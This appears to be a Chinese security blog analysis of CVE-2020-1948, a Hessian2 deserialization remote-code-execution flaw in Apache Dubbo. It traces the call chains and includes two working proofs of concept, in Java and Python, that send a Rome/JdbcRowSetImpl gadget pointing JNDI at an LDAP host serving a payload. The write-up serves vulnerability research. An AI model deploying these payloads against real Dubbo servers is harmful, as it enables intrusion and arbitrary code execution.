CVE-2020-1948Apache Dubbo 反序列化RCE漏洞分析 – 作者:木子

漏洞复现

Version:2.7.3 (dubbo-spring-boot-samples)

JDK:1.8.66

利用公开的Poc进行复现

Image [1].png

Image.png

无法命令执行的原因

*原因1 缺少 Rome依赖,在pom.xml中添加以下依赖

<dependency>
    <groupId>com.rometools</groupId>
     <artifactId>rome</artifactId>
     <version>1.7.0</version>
</dependency>

*原因2 JDK版本问题,com.sun.rowset.JdbcRowSetImpl在JDK 6u132, 7u122, or 8u113及之后的版本被修复了,可以换低版本jdk尝试

漏洞分析

dubbo rpc 原理

Image [2].png

dubbo rpc默认使用org.apache.dubbo.common.serialize.hessian2.Hessian2Serialization#deserialize进行反序列化

dubbo rpc 反序列化调用链

断点调试

在报错处org.apache.dubbo.rpc.protocol.dubbo.DubboProtocol.getInvoker、org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation.decode 、org.apache.dubbo.remoting.RemotingException处设置断点调试

Image [3].png

Hessian2Serialization

dubbo rpc默认使用org.apache.dubbo.common.serialize.hessian2.Hessian2Serialization#deserialize进行反序列化

Image [4].pngImage [5].png

dubbo rpc的反序列化调用链

org.apache.dubbo.rpc.protocol.dubbo.DubboProtocol.getInvoker
org.apache.dubbo.rpc.protocol.dubbo.CallbackServiceCodec#decodeInvocationArgument
org.apache.dubbo.rpc.RpcInvocation.toString
org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation#decode(org.apache.dubbo.remoting.Channel, java.io.InputStream)
org.apache.dubbo.common.serialize.Serialization
org.apache.dubbo.common.serialize.hessian2.Hessian2Serialization#deserialize
org.apache.dubbo.common.serialize.hessian2.Hessian2ObjectInput
com.alibaba.com.caucho.hessian.io.Hessian2Input#readObject(java.lang.Class, java.lang.Class<?>...)
com.alibaba.com.caucho.hessian.io.SerializerFactory#getObjectDeserializer(java.lang.String, java.lang.Class)
com.alibaba.com.caucho.hessian.io.Deserializer
com.alibaba.com.caucho.hessian.io.ClassDeserializer#readObject
com.alibaba.com.caucho.hessian.io.JavaDeserializer
com.alibaba.com.caucho.hessian.io.JavaDeserializer.FieldDeserializer#deserialize
关键部分分析

1. Hessian2Input#readObject

com.alibaba.com.caucho.hessian.io.Hessian2Input#readObject

@Override
    public Object readObject(Class expectedClass, Class<?>... expectedTypes) throws IOException {
        if (expectedClass == null || expectedClass == Object.class)
            return readObject();

        int tag = _offset < _length ? (_buffer[_offset++] & 0xff) : read();

        switch (tag) {
            case 'N':
                return null;

            case 'H': {
                Deserializer reader = findSerializerFactory().getDeserializer(expectedClass);

                boolean keyValuePair = expectedTypes != null && expectedTypes.length == 2;
                // fix deserialize of short type
                return reader.readMap(this
                        , keyValuePair ? expectedTypes[0] : null
                        , keyValuePair ? expectedTypes[1] : null);
            }

            case 'M': {
                String type = readType();

                // hessian/3bb3
                if ("".equals(type)) {
                    Deserializer reader;
                    reader = findSerializerFactory().getDeserializer(expectedClass);

                    return reader.readMap(this);
                } else {
                    Deserializer reader;
                    reader = findSerializerFactory().getObjectDeserializer(type, expectedClass);

                    return reader.readMap(this);
                }
            }

            case 'C': {
                readObjectDefinition(expectedClass);

                return readObject(expectedClass);
            }

            case 0x60:
            case 0x61:
            case 0x62:
            case 0x63:
            case 0x64:
            case 0x65:
            case 0x66:
            case 0x67:
            case 0x68:
            case 0x69:
            case 0x6a:
            case 0x6b:
            case 0x6c:
            case 0x6d:
            case 0x6e:
            case 0x6f: {
                int ref = tag - 0x60;
                int size = _classDefs.size();

                if (ref < 0 || size <= ref)
                    throw new HessianProtocolException("'" + ref + "' is an unknown class definition");

                ObjectDefinition def = (ObjectDefinition) _classDefs.get(ref);

                return readObjectInstance(expectedClass, def);
            }

通过代码发现readObject是根据特定的tag进行相应的数据处理,其中C为类定义,H为键值对,readObjectDefinition 会先对方法传入参数对应的class,进行类定义的读取,然后通过readObjectInstance对expectedClass的判断条件进行实例化

readObjectDefinition

Image [6].png

readObjectInstance

Image [7].png

2. RemotingException 利用

Rui0的一篇关于toString利用的文章中有提到利用Exception抛出异常输出时隐式调用了Rome的toString方法导致RCE通过分析dubbo,发现如果程序运行异常也会通过org.apache.dubbo.remoting.RemotingException抛错并在控制台输出

Image [8].png

就可以先通过com.alibaba.com.caucho.hessian.io.Hessian2Input#readObjectInstancecom.rometools.rome.feed.impl.ToStringBeancom.sun.rowset.JdbcRowSetImpl 进行实例化,在通过Rome的toString方法调用JdbcRowSetImplorg.apache.dubbo.remoting.RemotingException抛错输出时进行JNDI注入

Image [9].png

RemotingException异常调用链

com.alibaba.com.caucho.hessian.io.Hessian2Input#readObject
com.alibaba.com.caucho.hessian.io.Hessian2Input#readObjectInstance`
com.alibaba.com.caucho.hessian.io.AbstractHessianInput#readObject
com.alibaba.com.caucho.hessian.io.JavaDeserializer#readObject
com.alibaba.com.caucho.hessian.io.Deserializer#readObject
com.alibaba.com.caucho.hessian.io.JavaDeserializer.ObjectFieldDeserializer#deserialize
com.alibaba.com.caucho.hessian.io.JavaDeserializer.FieldDeserializer#deserialize
com.alibaba.com.caucho.hessian.io.JavaDeserializer#logDeserializeError
org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation#decode(org.apache.dubbo.remoting.Channel, java.io.InputStream)
org.apache.dubbo.rpc.protocol.dubbo.CallbackServiceCodec#decodeInvocationArgument
org.apache.dubbo.remoting.RemotingException
org.apache.dubbo.rpc.protocol.dubbo.DubboProtocol#getInvoker
org.apache.dubbo.rpc.RpcInvocation#setArguments
org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation#decode()
org.apache.dubbo.remoting.exchange.Request#setData
org.apache.dubbo.remoting.exchange.codec.ExchangeCodec#decodeBody
org.apache.dubbo.remoting.transport.DecodeHandler#received
org.apache.dubbo.remoting.ChannelHandler#received
org.apache.dubbo.remoting.transport.dispatcher.ChannelEventRunnable#run

3. hessian2反序列化限制条件绕过

hessian2通过com.alibaba.com.caucho.hessian.io.JavaDeserializer 类来进行反序列化操作

Image [10].png

但是构造方法只有基本类型,没有任何的方法和属性那就只能利用com.alibaba.com.caucho.hessian.io.JavaDeserializer#readObject(AbstractHessianInput in, String[] fieldNames)来进行反射

Image [11].png
利用com.alibaba.com.caucho.hessian.io.Hessian2Input#readObject的H tag通过HashMap触发key的hashCode方法实现反序列化com.alibaba.com.caucho.hessian.io.MapDeserializer#doReadMap

Image [12].png

HashMap调用链

java.util.HashMap#hash
java.lang.Object#hashCode
java.util.HashMap#put
com.alibaba.com.caucho.hessian.io.MapDeserializer#doReadMap
com.alibaba.com.caucho.hessian.io.MapDeserializer#readMap
com.alibaba.com.caucho.hessian.io.Hessian2Input#readObject
org.apache.dubbo.common.serialize.hessian2.Hessian2ObjectInput#readObject
org.apache.dubbo.rpc.protocol.dubbo.DubboCodec.decodeBody
com.alibaba.com.caucho.hessian.io.SerializerFactory#getDeserializer
com.alibaba.com.caucho.hessian.io.AbstractDeserializer#findSerializerFactory
org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation#decode

构造Poc

通过以上分析,有2种反序列化RCE触发方法

1. 在刚传入序列化值时依赖Rome的toString方法通过构造HashMap触发key的hashCode实现反序列化
2. 反序列化执行完成后,利用RemotingException抛出异常输出时隐式调用了Rome的toString方法导致RCE
Poc1:利用HashMap触发key的hashCode实现反序列化

Code

public class CVE_2020_1948_RomePoc {
    public static void main(String[] args) throws Exception {
        JdbcRowSetImpl rs = new JdbcRowSetImpl();
        //todo 此处填写ldap url
        rs.setDataSourceName("ldap://127.0.0.1:8078/Calc");
        rs.setMatchColumn("foo");
        Reflections.getField(javax.sql.rowset.BaseRowSet.class, "listeners").set(rs, null);

        ToStringBean item = new ToStringBean(JdbcRowSetImpl.class, rs);
        EqualsBean root = new EqualsBean(ToStringBean.class, item);

        HashMap s = new HashMap<>();
        Reflections.setFieldValue(s, "size", 2);
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        }
        catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, root, root, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, root, root, null));
        Reflections.setFieldValue(s, "table", tbl);

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();

        // header.
        byte[] header = new byte[16];
        // set magic number.
        Bytes.short2bytes((short) 0xdabb, header);
        // set request and serialization flag.
        header[2] = (byte) ((byte) 0x80 | 0x20 | 2);

        // set request id.
        Bytes.long2bytes(new Random().nextInt(100000000), header, 4);

        ByteArrayOutputStream hessian2ByteArrayOutputStream = new ByteArrayOutputStream();
        Hessian2Output out = new Hessian2Output(hessian2ByteArrayOutputStream);
        NoWriteReplaceSerializerFactory sf = new NoWriteReplaceSerializerFactory();
        sf.setAllowNonSerializable(true);
        out.setSerializerFactory(sf);

        out.writeObject(s);

        out.flushBuffer();
        if (out instanceof Cleanable) {
            ((Cleanable) out).cleanup();
        }

        Bytes.int2bytes(hessian2ByteArrayOutputStream.size(), header, 12);
        byteArrayOutputStream.write(header);
        byteArrayOutputStream.write(hessian2ByteArrayOutputStream.toByteArray());

        byte[] bytes = byteArrayOutputStream.toByteArray();

        //todo 此处填写被攻击的dubbo服务提供者地址和端口
        Socket socket = new Socket("192.168.80.1", 12345);
        OutputStream outputStream = socket.getOutputStream();
        outputStream.write(bytes);
        outputStream.flush();
        outputStream.close();
    }
}

执行

Image [13].png

Poc2:利用RemotingException抛出异常输出时隐式调用Rome的toString方法RCE

Code

client = DubboClient('192.168.80.1', 12345)
JdbcRowSetImpl=new_object('com.sun.rowset.JdbcRowSetImpl',dataSource="ldap://192.168.80.1:8078/Calc",strMatchColumns=["foo"])
JdbcRowSetImplClass=new_object('java.lang.Class',name="com.sun.rowset.JdbcRowSetImpl",)
toStringBean=new_object('com.rometools.rome.feed.impl.ToStringBean',beanClass=JdbcRowSetImplClass,obj=JdbcRowSetImpl)
resp = client.send_request_and_return_response(service_name='cn.rui0',method_name='rce',args=[toStringBean])

执行

Image [14].png

两个Poc触发RCE时报错对比

Image [15].png

参考

*https://www.mail-archive.com/[email protected]/msg06544.html

*http://rui0.cn/archives/1338

*https://threedr3am.github.io/2020/02/14/dubbo源码浅析-默认dubbo协议反序列化利用之hessian2/

来源:freebuf.com 2020-06-29 09:18:27 by: 木子

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论